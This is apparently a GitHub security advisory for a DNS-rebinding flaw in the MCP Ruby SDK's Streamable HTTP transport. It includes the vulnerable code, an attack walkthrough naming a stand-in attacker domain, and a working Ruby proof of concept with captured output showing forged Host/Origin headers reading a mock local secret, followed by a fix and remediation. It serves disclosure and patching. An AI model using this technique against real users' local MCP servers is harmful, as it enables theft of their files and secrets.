--- id: CVE-2026-63118 aliases: - GHSA-rjr6-rcgv-9m7m title: >- MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection summary: >- MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection severity: medium cwe: - CWE-346 - CWE-350 vendor: mcp product: mcp ecosystem: rubygems affected: - mcp <= 0.22.0 patched: - mcp 0.23.0 published: '2026-07-30' updated: '2026-07-30' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-rjr6-rcgv-9m7m' references: - url: >- https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-63118' - url: >- https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a - url: 'https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0' - url: 'https://github.com/advisories/GHSA-rjr6-rcgv-9m7m' tags: - ghsa - rubygems epss: 0.00256 epssPercentile: 0.15315 ingestedAt: '2026-07-30T14:54:20.412Z' --- ## Overview ## Summary `MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent. ## Impact - An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`). - Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin. - The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution. ## Vulnerable code File: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0). The Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`: ```ruby # call(env) -> handle_request(Rack::Request.new(env)) (line 56) def handle_post(request) required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only return accept_error if accept_error content_type_error = validate_content_type(request) # line 338 - checks Content-Type only return content_type_error if content_type_error body_string = request.body.read session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_ID ``` No statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env["HTTP_HOST"]` or `request.env["HTTP_ORIGIN"]`. The only request-env reads in the whole class are: - `extract_session_id` -> `request.env["HTTP_MCP_SESSION_ID"]` (line 489) - `validate_accept_header` -> `request.env["HTTP_ACCEPT"]` (line 493) - `validate_content_type` -> `request.env["CONTENT_TYPE"]` (line 512) - `validate_protocol_version_header` -> `request.env["HTTP_MCP_PROTOCOL_VERSION"]` (line 546) A repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding. ## How the input reaches the sink (attack scenario) 1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN). 2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker's server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`. 3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`. 4. The page then POSTs `tools/call`, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated. ## Proof of concept (end-to-end reproduction) Run against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control). Install: ``` gem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix gem install rack # required by StreamableHTTPTransport ``` PoC (`poc_f1_dnsrebind.rb`): ```ruby # frozen_string_literal: true require "mcp" require "rack" require "json" require "stringio" puts "mcp gem version under test: #{MCP::VERSION}" puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}" puts # A tool whose output is sensitive local data an attacker wants to exfiltrate. secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*| MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }]) end server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool]) transport = MCP::Server::Transports::StreamableHTTPTransport.new(server) PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil) body = JSON.generate(body_hash) env = { "REQUEST_METHOD" => "POST", "PATH_INFO" => "/", "HTTP_HOST" => host, # attacker-controlled Host (DNS-rebind primary vector) "HTTP_ORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector) "HTTP_ACCEPT" => "application/json, text/event-stream", "CONTENT_TYPE" => "application/json", "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s, } env["HTTP_MCP_SESSION_ID"] = session_id if session_id env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto status, headers, resp = transport.call(env) collected = +"" if resp.respond_to?(:each) resp.each { |c| collected << c.to_s } elsif resp.respond_to?(:call) # stateful tools/call returns an SSE-stream Proc body sink = Object.new sink.define_singleton_method(:write) { |s| collected << s.to_s } sink.define_singleton_method(:flush) {} sink.define_singleton_method(:close) {} resp.call(sink) end [status, headers, collected] end puts "========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========" init_body = { jsonrpc: "2.0", id: 1, method: "initialize", params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } } status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com") puts "[initialize] HTTP status : #{status}" puts "[initialize] Mcp-Session-Id : #{headers["Mcp-Session-Id"].inspect}" puts "[initialize] response body : #{body}" session = headers["Mcp-Session-Id"] call_body = { jsonrpc: "2.0", id: 2, method: "tools/call", params: { name: "read_local_secret", arguments: {} } } status2, _h2, body2 = rack_post(transport, call_body, host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO) puts "[tools/call] HTTP status : #{status2}" puts "[tools/call] response body : #{body2}" attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a")) puts puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403." puts puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ==========" status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080") puts "[initialize] HTTP status : #{status3}" puts "[initialize] Mcp-Session-Id : #{headers3["Mcp-Session-Id"].inspect}" puts puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both." ``` Captured output (verbatim): ``` mcp gem version under test: 0.18.0 transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333] ========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ========== [initialize] HTTP status : 200 [initialize] Mcp-Session-Id : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b" [initialize] response body : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}} [tools/call] HTTP status : 200 [tools/call] response body : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}} ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403. ========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ========== [initialize] HTTP status : 200 [initialize] Mcp-Session-Id : "bf707a19-a22a-4ff2-aeae-62c20cd7141b" CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both. ``` The forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all. ## Suggested fix Add an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship: - Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`. - In `handle_request` (before any dispatch), read `request.env["HTTP_HOST"]` and `request.env["HTTP_ORIGIN"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`. - Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments. A concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR. ## Fix PR A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued). ## Credit Reported by tonghuaroot. ## Reporter notes This issue was found by source review of the `mcp` gem's Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits. ## Affected packages - `mcp <= 0.22.0` ## Remediation Upgrade to a patched release: - `mcp 0.23.0`